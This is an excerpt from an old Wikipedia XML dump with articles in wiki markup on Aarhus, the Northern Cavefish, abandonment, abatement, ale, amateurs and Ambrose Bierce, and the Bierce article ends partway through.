'''Aarhus''', also commonly known by its [[Danish language|Danish]] spelling '''Århus''', is the second largest city in [[Denmark]].  It is the principal [[port]] on the east coast of [[Jutland]]. Aarhus is also the location of the council of both [[Aarhus municipality]] and [[Aarhus County]].

==Demographics==
The city's population is 294,954 (July 2005) [http://www.aarhus.dk/statistik (1)].

The town lies at the junction of [[railway]] lines from all parts of the country in a low-lying, fertile, and well-wooded district.  To the southwest (13 miles by rail), a picturesque region that contains the [[Gudenaa|Gudenå]] and several lakes extends west from the railway junction of [[Skanderborg]], and rises to ground exceeding 500 feet in the [[Himmelbjerget]].  The railway traverses this pleasant district of moorland and woodland to [[Silkeborg]], a modern town with one of the most attractive situations in the kingdom.

The harbour is good and safe, and agricultural produce is exported, while [[coal]] and [[iron]] are among the chief imports.

The bishopric of Aarhus dates back at least from [[951]]. Aarhus' [[13th century]] [[cathedral]], The [[Århus Domkirke]], is the largest church in Denmark, as well as the second largest in [[Northern Europe]], being only 1.5&amp;nbsp;ft shorter than its counterpart in [[Trondheim]].

Aarhus is also home to one of the few [[ghetto]]s in Denmark: [[Gellerup]]

One major tourist attraction in Aarhus is [[The_Old_Town,_Aarhus|The Old Town]] ([[Danish language|Danish]]: ''Den Gamle By''), which is not actually an old part of the city itself, but a collection of old buildings from Danish history gathered from all around the country.

The [[Lord Mayor]] of Aarhus is [[Nicolai Wammen]] of the [[Social Democrats (Denmark)|Social Democrats]].

Aarhus is the home of [[University of Aarhus]], [[Aarhus School of Business]] and the [[University College of Aarhus]].

==History==
&lt;!--Insert history intro here--&gt;
===The name===
In [[medieval]] times, the city was called ''Arus'', and in Icelandic chronicles, it was known as ''Áróss''. It is a compound of the two words ''ār'', genitive of ''ā'' &quot;river&quot; (Modern Danish ''å'') and ''ōss'' &quot;mouth&quot; (obsolete in Modern Danish; in Modern Icelandic this word is still used for &quot;river delta&quot;).  The city is located on the mouth of the small river Århus Å.

Through regular sound development, Medieval Danish ''Arus'' became ''Aars'' or ''Oes'', a form, which persisted in the dialects of the surrounding parishes until the 20th century. In 1406 ''Aarhus'' became revalent in the written sources, and gradually became the norm in the [[17th century]]. ''Aarhus'' is probably a remodelling after the numerous Low German place names in ''-husen'', possibly as a result of the influence of German merchants.

The city is mentioned the first time by [[Adam of Bremen]] who mentions that &quot;Reginbrand, bishop of the church of Aarhus (Harusam)&quot; participates in a church meeting in the city of [[Ingelham]] in [[Germany]]. {{fact}}

===Viking times===
The oldest [[Archaeology|archaelogical]] findings in Aarhus are glass pearls which date to the end of the [[7th century]]. Half buried [[Long houses]], used both as homes and workshops for the Vikings have also been found.{{fact}}

In the houses and the adjoining archaelogical layers, combs, jewelry and basic multi-purpose tools have been found that indicate the settlement is from approximately year [[900]]. Digs in the spring of 2005 revealed a so-called city-ditch from the year [[850]] which might have marked the trade centre upon which the city is built. {{fact}}

The finding of six [[rune stones]] in and around Aarhus indicates the city had some significance around year [[1000]] as only wealthy nobles traditionally used them. {{fact}}

===1600-1700===
During the wars of the 17th century, it is probable that the city suffered a great deal. Fortifications still exist south of the city as a reminder of the [[Germany|German]] imperial campaigns between [[1627]] and [[1629]]. In [[1644]], [[Sweden]] taxed the city harshly and between [[1657]] and [[1659]], it was occupied by Swedish troops on several occasions. {{fact}}

In spite of these and other misfortunes, such as plague and city-wide fires, Aarhus was still quite a significant city in [[Denmark]] due to its favourable geographical position which was of significant importance for trading. Trade came mainly from the inland of [[Jutland]] but also from [[Norway]], [[Lübeck]], [[Amsterdam]], [[England]], [[France]] and [[Spain]]. In the middle of the 18th century the trade fleet consisted of approximately 100 ships.{{fact}}

===1800===
In the [[19th century]], the city gained more independence from the dominance of [[Copenhagen]] and [[Hamburg]]. While it had been the third largest city in Jutland during the early 19th century, its population surpassed [[Randers]] in [[1840]] and in [[1850]], [[Ålborg]], thus becoming the largest city in  Jutland and the second largest in Denmark.{{fact}}

The city's material prosperity continued to increase as the harbour expanded and the railway network grew. Culturally, it marketed itself as the &quot;Capital of Jutland&quot; and expanded many of its cultural institutions like the national library, universities, the [[Aarhus Theater]] and hospitals.

==Suburbs of Aarhus (listed by zip code)==
* ''8000'' [[Århus C]]
* ''8200'' [[Århus N]]
* ''8210'' [[Århus V]]
* ''8220'' [[Brabrand]]
* ''8230'' [[Åbyhøj]]
* ''8240'' [[Risskov]]
* ''8250'' [[Egå]]
* ''8260'' [[Viby J]]
* ''8270'' [[Højbjerg]]
* ''8310'' [[Tranbjerg J]]
* ''8320'' [[Mårslet]]
* ''8330'' [[Beder_(Danish_village)|Beder]]
* ''8340'' [[Malling]]
* ''8355'' [[Solbjerg]]
* ''8361'' [[Hasselager]]
* ''8380'' [[Trige]]
* ''8381'' [[Tilst]]
* ''8462'' [[Harlev]]
* ''8471'' [[Sabro]]
* ''8520'' [[Lystrup]]
* ''8530'' [[Hjortshøj]]
* ''8541'' [[Skødstrup]]

==Buildings and constructions==
* [[Telecommunication Tower Arhus]] (Concrete tower with guyed mast on its top, not accessible for visitors)
* [[Skejby Sygehus]] (the second largest hospital in Denmark)

==External links==
{{commons|Århus}}
{{Wikisource1911Enc|Aarhus}}

===Official websites===
* [http://www.aarhus.dk/aa/portal/borger/s_english Official city web portal]
* [http://www.visitaarhus.com/show.asp?id=64 Visit Århus - the official tourism site of Århus]

===Educational institutions===
* [http://www.au.dk/en/ University of Aarhus]
* [http://www.asb.dk Aarhus School of Business]
* [http://www.iha.dk University College of Aarhus (''technical college'')]

===Culture===
* [http://www.aakb.dk/sw1379.asp?setlanguage=2 Århus Kommunes Biblioteker (''Aarhus Public Libraries'')]
* [http://www.huset-aarhus.dk/?setlanguage=2 Kulturcenter HUSET (''Cultural Centre'')]
* [http://www.aros.dk/?setlanguage=2 ARoS Aarhus Kunstmuseum (''museum of arts'')]
* [http://www.dengamleby.dk/english.htm Den Gamle By (''The Old Town'')]
* [http://moesgaard.hum.au.dk/my.php?top=13&amp;language=1 Moesgård Museum (''archaeological and ethnographic museum'')]
* [http://www.musikhusetaarhus.dk Musikhuset Aarhus (''concert hall'')]
* [http://www.minority-report.dk/english/ (''Aarhus Festival of Contemporary Art 2004: Minority Report'')]

[[Category:Aarhus]]
[[Category:Cities and towns in Denmark]]

[[bg:Орхус]]
[[cs:Århus]]
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[[no:Århus]]
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[[tr:Orhus]]</text>
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  <page>
    <title>Amblyopsis Spelea</title>
    <id>1042</id>
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      <timestamp>2005-10-05T14:22:21Z</timestamp>
      <contributor>
        <username>Kbdank71</username>
        <id>197953</id>
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      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Northern Cavefish]]</text>
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  </page>
  <page>
    <title>Northern Cavefish</title>
    <id>1043</id>
    <revision>
      <id>37292545</id>
      <timestamp>2006-01-30T01:32:08Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Northern cavefish
| status = {{StatusVulnerable}}
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Actinopterygii]]
| ordo = [[Percopsiformes]]
| familia = [[Amblyopsidae]]
| genus = ''[[Amblyopsis]]''
| species = '''''A. spelea'''''
| binomial = ''Amblyopsis spelea''
| binomial_authority = (DeKay, 1842)
}}

The '''Nothern Cavefish''' also know as the '''Northern Blindfish''', ''Amblyopsis spelea'' is found in caves through [[Kentucky]] and southern [[Indiana]]. It is listed as a threatened species in the United States and the [[IUCN]] lists the species as vulnerable.

The [[White River (Indiana)|White River]], flowing east to west south of [[Bedford, Indiana]], delimits the northern range of ''Amblyopsis spelea''. These fish are not found in caves north of the White River. 

[[Category:Percopsiformes]]
==References==
* {{FishBase_species|genus=Amblyopsis|species=spelea|year=2005|month=10}}


{{fish-stub}}</text>
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  <page>
    <title>Abandonment</title>
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      <contributor>
        <username>CanadianCaesar</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.198.223.52|68.198.223.52]] ([[User talk:68.198.223.52|talk]]) to last version by Coolcaesar</comment>
      <text xml:space="preserve">{{cleanup-date|August 2005}}
{{Wiktionarypar|abandonment}}

The term '''abandonment''' has a multitude of uses which can generally be broken into legal and extra-legal uses.  This &quot;signpost article&quot; provides a guide to the various uses of the word via links to articles that deal with each of the distinct concepts at length.

== Uses in law ==
'''Abandonment''' in law, the relinquishment of an interest, claim, privilege or possession.  This broad meaning has a number of applications in different branches of law.
*In [[Common law|common law]] jurisdictions, both ''common law abandonment'' and ''statutory abandonment'' of [[Property (ownership right)|property]] may be recognized. A common law abandonment may be generally defined as &quot;the relinquishment of a right [in property] by the owner thereof without any regard to future possession by himself or any other person, and with the intention to foresake or desert the right....&quot; 1 ''Corpus Juris Secundum'' “Abandonment” § 2 (1985) (emphasis added) [footnotes and citations omitted]. Common law abandonment is &quot;the voluntary relinquishment of a thing by its owner with the intention of terminating his ownership, and without [the intention of] vesting ownership in any other person; the giving up of a thing absolutely, without reference to any particular person or purpose....&quot; Id. (emphasis added) [footnotes and citations omitted]. An example of statutory abandonment in a common law jurisdiction is abandonment by a [[Bankruptcy in the United States|bankruptcy trustee]] under {{usc|11|554}}).
*Abandonment of an action (see [[Judicature Acts#Specific changes in procedure|Judicature Acts]]), relates to a plaintiff's discontinuance of proceedings ongoing before the [[High Court of Justice of England and Wales]] and which procedure changed substantially as a result of reforms to the judiciary of the United Kingdom in 1875.
*In [[marine insurance]] parlance, abandonment involves the surrender of a ship or goods to the insurer.
*In the domain of [[copyright]]s, abandonment is recognized as the explicit release of material by a copyright holder into the [[public domain]].  However, statutory abandonment is a relatively unclear area of copyright law and the more common approach is to license work under a scheme that provides for public use rather than strictly abandoning copyright.  For more information consult [[Public_domain#Disclaimer of interest|&quot;disclaimer of interest&quot;]].
*In the military practice and law, abandonment of a military post by a soldier can be called [[desertion]], and the condition of being away from that post can be called [[Desertion#AWOL: Away WithOut Leave|being &quot;Away Without Leave&quot;]].
*In family circumstances, [[child abandonment]] is often recognized as a crime, in which case the child is usually not physically harmed directly as part of the abandonment; distinct from this is the widely recognized crime of [[infanticide]].
&lt;!--  '''Abandonment of wife and children''' is sometimes called ''[[desertion]],'' and is somewhat difficult to prove in court.  The plaintiff must generally show his or spouse to have left for over a year and failed to pay support, as well as proving that the departure was not agreed upon and also not caused by the plaintiff.  Because abandonment by a husband often left his wife and children destitute (and hence a burden upon the public purse), it used to be a [[felony]] in most [[U.S. state|American states]].  At present, nearly all states have abolished the felony of abandonment, but it remains in place in a few states like [[Massachusetts]].  The abandonment or exposure of a young child under the age of two, which is an indictable [[misdemeanor]], is commonly called ''cruelty to children.''   --&gt;
* '''Abandonment of domicile''' is the ceasing to reside permanently in a former domicile coupled with the intention of choosing a new domicile.  The presumptions which will guide the court in deciding whether a former domicile has been abandoned or not must be inferred from the facts of each individual case.  In the United States, a tenant is generally understood to have abandoned a property if he or she has fallen behind in rent and shown a lack of interest in continuing to live there.  The landlord must then send notice of the intent to sell the property and wait a certain number of days to take action on it.  How long the landlord has to wait depends on the value of the property; the landlord can keep the money up to the costs incurred as a result of the abandonment; the rest must be set aside for the former tenant, should she or he eventually return.

* '''Abandonment of an easement''' is the relinquishment of some accommodation or right in another's land, such as right of way, free access of light and air, etc. See [[easement]].

* '''''Abandonment of railways''''' has a legal signification in England recognized by statute, by authority of which the [[Board of Trade]] may, under certain circumstances, grant a warrant to a [[railway]] authorizing the abandonment of its line or part of it.

* '''Abandonment of trademark''' is understood to happen when a [[trademark]] is not used for three or more years, or when it is deliberately discontinued; trademark law protects only trademarks being actively used and defended.  An example of an abandoned trademark is ''[[aspirin]]'', once a mark of the [[Bayer]] company, now considered a generic term.

== Extra-legal uses ==
Outside of legal circles, '''abandonment''' has additional meanings and uses:
* '''''Abandonment''''' is a play about love, death, identity and evolution. It is a complex mixture of social comedy and family drama, reminding us that the past is not as far away as we think. Written by [[Kate Atkinson]].
* '''[[Child abandonment]] in film and literature''':
** ''[[Bachelor Mother]]'' ([[Garson Kanin]]; US, 1939)
* '''Abandonment of a patient''', in [[medicine]], is where a health care professional (usually a [[physician]], [[nurse]], [[dentist]], or [[paramedic]]) has already begun emergency treatment of a patient and then suddenly walks away while the patient is still in need, without securing the services of an adequate substitute, or giving the patient adequate opportunity to find one.  It is a [[crime]] in many countries and can result in the loss of one's license to practice.  Also, because of the [[public policy]] in favor of keeping people alive, the professional cannot defend himself or herself by pointing to the patient's inability to pay for services, the possibility of exposure to malpractice liability beyond one's insurance coverage, or the patient's inability to stop screaming (because of extreme pain).  

{{Wikisource1911Enc|Abandonment}}
[[Category:Legal terms]]

[[be:&amp;#1040;&amp;#1073;&amp;#1072;&amp;#1085;&amp;#1076;&amp;#1086;&amp;#1085;]]
[[da:Abandon]]
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  <page>
    <title>Abatement</title>
    <id>1046</id>
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      <comment>rm cleanup</comment>
      <text xml:space="preserve">{{wiktionary}}
The word '''abatement''' has various meanings, many of them legal. The word came through French ''abattre'' from Latin ''ab'' + Late Latin ''battuere'' = &quot;to beat&quot; (which came from Germanic). It means a beating down or reducing or doing away with something.

*[[Abatement of a nuisance]], the remedy allowed by law to a person or public authority injured by a public [[nuisance]], letting him destroy or remove it, if doing so causes no breach of the peace. In the case of private nuisances, abatement is also allowed if it causes no breach of the peace and no damage beyond what removing the nuisance requires.

*Abatement of [[freehold (real property)|freehold]] happens where, after the person last seised dies, a stranger enters upon lands before the entry of the heir or devisee, and keeps the heir or devisee out of possession. 
**[[Intrusion]], an entry by a stranger when a tenant for life dies, to the prejudice of the reversioner or remainder man.
**[[Disseisin]], the forcible or fraudulent expulsion of a person seised of the freehold.

*[[Abatement of debts and legacies]], a common law doctrine of wills that holds that when the equitable assets of a deceased person are not sufficient to satisfy fully all the creditors, their debts must abate proportionately

*[[Abatement in pleading]], or plea in abatement, was a [[plea]] by the defendant, defeating or quashing a legal action by some matter of fact, such as a defect in form or the personal incompetency of the parties suing. It did not involve the merits of the cause, but left the right of action subsisting. In criminal proceedings, a [[plea]] in abatement was at one time a common practice in answer to an indictment, and was set up to defeat the indictment as framed, by alleging that the defendant was wrongly named (&quot;misnomer&quot;) or was otherwise wrongly described. Its effect for this purpose was nullified by the Criminal Law Act 1826, which required the court to amend according to the truth, and the Criminal Procedure Act 1851 (see [[Criminal Procedure]]), which rendered description of the defendant unnecessary. All pleas in abatement are now abolished (R.S.G. Order 21, r. 20).

*[[Abatement in litigation]], in civil proceedings, no action abates because any of the parties marries or dies or becomes [[bankrupt]], if the cause of the action survives or continues, and does not become defective because any [[estate]] or [[title]] is assigned or created or [[devolution|devolved]] ''[[pendente lite]]'' (R.S.C. Order 17, r. 1). [[Criminal proceeding]]s do not abate on the death of the prosecutor, being in theory instituted by the crown; but the crown may terminate them without deciding on the merits and without the assent of the prosecutor. 

*Abatement of false lights, by the Merchant Shipping Act 1854, the general lighthouse authority has power to order the extinguishment or screening of any light which may be mistaken for a light proceeding from a lighthouse. 

*Abatement in commerce is a deduction sometimes made at a [[custom-house]] from the fixed duties on certain kinds of goods, on account of damage or loss sustained in [[warehouse]]s. The rate and conditions of such deductions are regulated, in England, by the Customs Consolidation Act 1853. (See also drawback and [[rebate (marketing)]].) 

*[[Abatement (heraldry)]] is a badge in coat-armour, indicating some kind of [[degradation]] or dishonour. It is also called rebatement. Though most abatements have existed only in theory, there has been at least one imposition of an abatement in Scotland.

{{Wikisource1911Enc|Abatement}}
[[Category:Legal terms]]

{{disambig}}</text>
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  </page>
  <page>
    <title>Ale</title>
    <id>1047</id>
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      <text xml:space="preserve">{{otheruses}}
'''Ale''' is an ancient word for a [[fermentation|fermented]] [[alcoholic beverage]] obtained chiefly from [[malt|malted]] [[barley]]. 

Before the introduction of [[hop (plant)|hops]] into England from the [[Netherlands]] in the [[15th century]] the name &quot;ale&quot; was exclusively applied to unhopped fermented beverages, the term &quot;[[beer]]&quot; being gradually introduced to describe a brew with an infusion of hops. This distinction no longer applies.

A modern ale is commonly defined by the strain of yeast used and the fermenting temperature.

''Strain of Yeast'': An ale yeast is normally considered to be a [[top-fermenting]] yeast, though a number of British brewers, such as [[Fullers]] and [[Weltons]], use ale yeast strains that settle at the bottom. Common features of ale yeasts regardless of top or bottom fermentation is that they ferment more quickly than lager yeasts, they convert less of the [[sugar]] into [[alcohol]] (giving a sweeter, fuller body) and they produce more [[esters]] (which give a fruity taste) and [[diacetyl]] (which gives a buttery taste).

''Fermenting Temperature'': Ale is typically fermented at higher temperatures than lager beer (15–23°C, 60–75°F). Ale yeasts at these temperatures produce significant amounts of esters and other secondary flavor and aroma products, and the result is a beer with slightly &quot;fruity&quot; compounds resembling but not limited to apple, pear, pineapple, banana, plum or prune.

''Stylistic Difference to [[Lager]]'': Stylistic differences between some ales and lagers can be difficult to categorize. [[Steam beer]], [[Kölsch]] and some modern British Golden Summer Beers are seen as hybrids, using elements of both lager and ale production, while Baltic Porter and Bière de Garde may be produced by either lager or ale methods or a combination of both. However, lager is commonly perceived to be cleaner tasting, drier and lighter in the mouth than ale.

In a number of [[U.S. state]]s, especially in the [[western United States]], &quot;ale&quot; is the term mandated by state law for any beverage fermented from grain with an alcoholic strength above that which can legally be named &quot;beer,&quot; without regard to the method of fermentation or the yeast used. This distinction is not obsolete, but it is idiosyncratic.   

In former times the [[Wales|Welsh]] and [[Scotland|Scots]] had two distinct kinds of ale, called ''common'' and ''spiced'' ales, the relative values of which (compared to [[mead]]) were appraised by law in the following terms: 

:''If a farmer have no mead, he shall pay two casks of spiced ale, or four casks of common ale, for one cask of mead.''

Ales are very common in [[United Kingdom|Britain]], [[Germany]], the [[United States]], and [[Belgium]]; however, [[Lager]] - but please see the discussion page about the term lager - is the dominant style of beer in almost all countries, worldwide.

==Varieties of ale==

===British / Irish / American ales===

British and Irish ales are, worldwide, the most popular variety of beer fermented with top-fermented yeast. Most beers in this region typically are made with yeast strains that leave some [[ester]]s behind, producing flavors often described as &quot;fruity&quot; or &quot;buttery&quot;. &quot;Earthy&quot; English hops are added, adding to the complexity. Within this region, a wide variety of substyles can be found, ranging from roasted malt ales (porter, stout), to highly hopped ales (India pale ale), to malt-balanced ales. Alcohol ranges from the very low (e.g. the English mild beer) to the very high (e.g. the English barley wine).

American style ales rose out of the microbrewery / craft brewing revolution that began in the early 1980s. Typically, these ales are very similar to their British counterparts, but have cleaner yeast strains, and often have higher hop rates dominated by American varieties (such as the citrusy Cascade hop.)

Any of these styles, when cask conditioned, can be termed [[cask ale]], and when unfiltered in the bottle can be termed [[bottle conditioned]]. [[CAMRA]] is a British organization that promotes [[real ale]].

*[[Amber ale|Amber/Red ale]]
*[[Barleywine]]
*[[Bitter (beer)|Bitter]]
**[[Pale ale]]
**[[India pale ale]] or Imperial pale ale or Strong pale ale
**[[Light ale]]
**[[Summer ale]]
*[[Blonde ale|Blonde/Golden ale]]
*[[Brown ale]]
*[[Cream ale]]
*[[Mild ale]] (or just &quot;mild&quot;)
*[[Old ale]]
*[[Irish red ale]]
*[[Scotch ale]]
*[[porter (beer)|Porter]]
**Robust Porter
**Brown Porter
*[[Stout]]
**[[Irish stout]] or Dry stout
**[[Imperial stout]]
**[[Milk stout]] or Sweet stout
**[[Oatmeal stout]]
**[[Chocolate stout]]
**[[Oyster stout]]
**[[Coffee stout]]

===Belgian ales===

[[Belgium]] produces a wide variety of specialty ales that elude easy classification. In addition to making a variety of [[blonde ale]], common classifications for these specialty beers may be [[dubbel]] (malty-complex with a red hue) and [[tripel]] (a high-alcohol, lightly-gold colored beer). 

Some specialty beers are based on monastic brewing recipes. The best known among them are the [[Trappist_beer|Trappist]] beers, which are brewed under direct control of the monks themselves. Only six Trappist monasteries in [[Belgium]] and one in the [[Netherlands]] brew this beer. Similar styled ales, brewed by commercial breweries (sometimes under licence of an actual monastery) are called [[Abbey beer]].

===German barley ales===

These are old-style ales fermented in Germany. A long, cold conditioning period yields a cleaner style, free of the esters that one finds in UK ales.

*[[Altbier]]
*[[Kölsch (beer)|Kölsch]]

===Wheat beer===

[[Wheat beer]] is found mostly in Germany, but examples can also be found in the United States and Belgium. German wheat beers are typically fermented with a yeast that yields [[esters]] with banana- and clovelike flavours. In contrast to most styles, these beers are typically served unfiltered (with the suspended yeast clouding the beverage, thus the German name 'heffe' for yeast). In American microbreweries, wheat beer is usually fermented with a clean yeast and filtered. Often this beer is combined with fruit flavors (e.g. raspberry wheat beers) to create a light, refreshing drink.

*Belgian witbier/bière blanche
*Weissbier, Hefeweizen and Dunkelweizen

===Specialty ales===
*[[Lambic]] &amp;mdash; a sour ale fermented by wild yeast, sometimes flavored with fruit.
*[[Berliner Weisse]] &amp;mdash; a low-strength sour wheat ale originating in [[Berlin]].
*[[Flanders ale]] ([[Saison]], [[Oud bruin|Oud Bruin]], [[Bière de Garde]]) &amp;mdash; a unique farmhouse style sour ale produced primarily in the [[Flanders]] region of Belgium and France.
*[[Rauchbier]] &amp;mdash; a style of beer made with smoked malt. While beers called Rauchbier may be ale, the classic examples are technically [[lager|lagers]].

[[Category:Beer]]


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  </page>
  <page>
    <title>Amateur</title>
    <id>1049</id>
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      <id>38085486</id>
      <timestamp>2006-02-04T01:55:05Z</timestamp>
      <contributor>
        <username>Creidieki</username>
        <id>68249</id>
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      <minor />
      <comment>change wikilink to avoid plural redirect</comment>
      <text xml:space="preserve">{{Wiktionarypar|amateur}}
The word '''amateur''' has at least two [[connotation]]s.  In the first, more widely used manner, it means someone performing some task without pay, in contrast to a &quot;[[professional]]&quot; who would be paid for the same task.  In this sense, labeling someone an &quot;amateur&quot; can have a negative connotation.  For example, amateur [[athlete]]s in sports such as [[basketball]] or [[Football games|football]] would not be regarded as having ability on par with professional athletes in those [[sport]]s.

Where this can be interesting is in the case of the [[Olympic Games]].  Most Olympic events required that the athletes be amateurs, or non-professionals.  To receive pay to perform the sport could have disqualified an athlete from an event, as in the case of [[Jim Thorpe]]. Such regulations are now nonexistent for all Olympic sports with the exception of [[boxing]].

Also in the areas of [[computer programming]] and [[open source]], as well as [[astronomy]] and [[ornithology]], many amateurs make very meaningful contributions equivalent to or exceeding those of the professionals.  To many, description as an amateur is losing its negative meaning, and actually carries a badge of honor. 

The other, perhaps somewhat obsolescent usage, stems from the French form of the [[Latin]] root of the word meaning a &quot;lover of&quot;. (''See [[amateurism]]''.) In this sense, retaining its French inflexion (&quot;am-a-tEUR&quot;), an amateur may be as competent as a paid professional, yet is motivated by a love or passion for the activity, like a ''[[connoisseur]]''. In the [[17th century|17th]] and [[18th century|18th]] centuries ''[[virtuoso]]'' had similar connotations of passionate involvement.

Indeed, another thriving example of such work is [[Amateur Dramatics]] - whether [[play]]s or [[musical theater]]. Often performed to high standards (but lacking the budgets of the professional [[West End theatre]]/[[Broadway theatre]]versions) and with an intense passion for the scene.

It has been suggested that the crude, all or nothing categories of professional or amateur should be reconsidered. A historical shift is occurring with the rise of [[Pro-Ams]], a new category of people that are pursuing amateur activities to professional standards.

== See also ==

* [[volunteer]]
* [[hobby]], particularly for [[Amateur Radio]] (also known as ''ham radio''.)

[[category:occupations]]

[[da:Amatør]]
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  </page>
  <page>
    <title>Ambrose Bierce</title>
    <id>1050</id>
    <revision>
      <id>42142615</id>
      <timestamp>2006-03-04T02:33:50Z</timestamp>
      <contributor>
        <ip>70.232.93.170</ip>
      </contributor>
      <text xml:space="preserve">'''Ambrose Gwinnett Bierce''' ([[June 24]], [[1842]]&amp;ndash;[[1914]]?) was an American [[satire|satirist]], [[critic]], [[poet]], [[short story]] [[writer]], [[editor]], and [[journalist]].[[Image:Ambrose_bierce.jpg|thumb|A portrait of Ambrose Bierce, date unknown.]]
His clear style and lack of sentimentality have kept him popular when many of his contemporaries have become obscure.  His dark, sardonic views  and vehemence as a critic, earned him the [[nickname]] &quot;Bitter Bierce&quot;.  Such was Bierce's venerable [[reputation]], that it was feared that his judgment on any contemporary fiction of the day could &quot;make or break&quot; a writer's career. 

==Early life and military career==
Born in a rural area of [[Meigs County]], [[Ohio]], Bierce resided during his adolescence in the town of [[Elkhart, Indiana|Elkhart]], [[Indiana]]. At the outset of the [[American Civil War]], Bierce enlisted in the Ninth Regiment, Indiana Volunteers, as part of the [[Union Army]]. In February [[1862]], he was commissioned as a first lieutenant and served on the staff of Gen. [[William Babcock Hazen]] as a topographical engineer, making maps of likely battlefields. He fought bravely in several of the war's most important battles, at one point receiving newspaper attention for his daring rescue under fire of a gravely wounded comrade at the battle of [[Girard Hill]], [[West Virginia]]. In June, [[1864]], he received a serious head wound at the [[Battle of Kennesaw Mountain]] and spent the rest of the summer on furlough, but returned to active duty in September, and was ultimately discharged from the army in January [[1865]].

His military career, however, resumed when, in the summer of [[1866]], he rejoined Gen. Hazen as part of the latter's [[expedition]] to inspect military outposts across the Western [[plains]]. The expedition proceeded by horseback and wagon from [[Omaha, Nebraska|Omaha]], [[Nebraska]], arriving in [[San Francisco, California|San Francisco]] near the end of the year.

==Journalism==
In San Francisco, Bierce resigned from the Army and received the rank of [[brevet (military)|brevet]] Major. He remained there for many years, eventually becoming famous as a contributor and/or editor for a number of local newspapers and periodicals, including ''The San Francisco News Letter'', ''The Argonaut'', and ''The Wasp''. Bierce lived and wrote in [[England]] from [[1872]] to [[1875]].  Returning to the [[United States]], he again took up residence in San Francisco. In [[1879]]&amp;ndash;[[1880]], he went to [[Rockerville]] and [[Deadwood, South Dakota]], in the [[Dakota Territory]], to try his hand as local manager for a [[New York]] [[mining]] company, but when the company failed he returned to San Francisco and resumed his career in [[journalism]]. In [[1887]], he became one of the first regular columnists and editorialists to be employed on [[William Randolph Hearst]]'s newspaper, the ''[[San Francisco Examiner]]'', eventually becoming one of the most prominent and influential among the writers and journalists of the [[West Coast of the United States|West Coast]]. In December [[1899]], he moved to [[Washington, D.C.]], but continued his association with the [[Hearst newspapers]] until [[1906]].

===The McKinley accusation===
Because of his penchant for biting social criticism and satire, Bierce's long newspaper career was often steeped in controversy.  On several occasions his columns stirred up a storm of hostile reaction which created difficulties for Hearst.  One of the most notable of these incidents occurred following the [[assassination]] of President [[William McKinley]] when Hearst's political opponents turned a [[satire|satirical]] [[poetry|poem]] Bierce had written in [[1900]]  into a ''[[cause célèbre]]''.  Bierce meant his poem, written on the occasion of the assassination of Governor-elect [[William Goebel]] of [[Kentucky]], to express a national mood of dismay and fear, but after McKinley was shot in [[1901]] it seemed to foreshadow the crime:
  
:''The bullet that pierced Goebel's breast''
:''Can not be found in all the West;''
:''Good reason, it is speeding here''
:''To stretch McKinley on his bier.''

Hearst was (presumably) falsely accused by rival newspapers&amp;mdash;and by then [[United States Secretary of State|Secretary of State]] [[Elihu Root]]&amp;mdash;of having called for McKinley's assassination.  Despite a national uproar that ended his ambitions for the presidency (and even his membership in the [[Bohemian Club]]), Hearst neither revealed Bierce as the author of the poem, nor fired him.

==Literary works==
His short stories are considered among the best of the [[19th century]].
He wrote realistically of the terrible things he had seen in the war in such stories as &quot;[[An Occurrence at Owl Creek Bridge]]&quot;, &quot;[[Killed at Resaca]]&quot;, and &quot;[[Chickamauga]]&quot;.

Bierce was reckoned a master of &quot;pure&quot; [[English language|English]] by his contemporaries, and virtually everything that came from his pen was notable for its judicious wording and economy of style.
He wrote skillfully in a variety of literary genres, and in addition to his celebrated ghost and war stories he published several volumes of [[poetry]] and [[verse]]. His ''Fantastic Fables'' anticipated the ironic style of grotesquerie that turned into a genre in the [[20th century]].

One of Bierce's most famous works is his much-quoted book, ''[[The Devil's Dictionary]]'', originally a newspaper serialization which was first published in book form in 1906 as ''The Cynic's Word Book.'' It offers an interesting reinterpretation of the English language in which [[cant]] and political double-talk are neatly lampooned. 

Bierce's twelve-volume ''Collected Works'' were published in [[1909]], the seventh volume of which consists solely of &quot;[[The Devil's Dictionary]],&quot; the title Bierce himself preferred to &quot;The Cynic's Word Book.&quot;

==Disappearance==
In October [[1913]], the [[Ageing#Dividing the lifespan|septuagenarian]] Bierce departed Washington on a tour to revisit his old [[American Civil War|Civil War]] battlefields. By December, he had proceeded on through [[Louisiana]] and [[Texas]], crossing by way of [[El Paso, Texas|El Paso]] into [[Mexico]], which was then in the throes of [[Mexican Revolution|revolution]]. In [[Ciudad Juárez]], he joined the army of [[Pancho Villa]] as an observer, in which role he participated in the battle of [[Tierra Blanca]]. He is known to have accompanied Villa's army as far as the city of [[Chihuahua, Chihuahua]].  After a last letter to a close friend, sent from that city on [[December 26]], [[1913]], he vanished without a trace, becoming one of the most famous disappearances in American literary history. Subsequent investigations to ascertain his fate were fruitless and, despite many decades of speculation, his [[List of people who have disappeared|disappearance]] remains a mystery.

In one of his last letters, Bierce wrote:

:Good-by &amp;mdash; if you hear of my being stood up against a Mexican stone wall and shot to rags please know that I think that a pretty good way to depart this life. It beats old age, disease, or falling down the cellar stairs. To be a [[Gringo]] in Mexico &amp;mdash; ah, that is euthanasia

==Bierce in popular culture==
[[Robert W. Chambers]] borrowed several terms and fictional locations (including, for instance, [[Carcosa]] and [[Hastur]]) from Bierce, for use in his book of horror short stories, [[The King in Yellow]]. The horror writer [[H.P. Lovecraft]] later incorporated these into his own work, as did other authors who later extended Lovecraft's characters and themes, collectively creating the [[Cthulhu Mythos]].

[[Robert Bloch]]'s short story &quot;I Like Blondes&quot; (published in [[Playboy]], [[1956]]) is constructed around a group of alien bodysnatchers frequenting Earth. The narrator's host body's &quot;name was Beers...Ambrose Beers, I believe. He [[Ambrose Bierce#Disappearance|picked it up in Mexico a long time ago]].&quot;

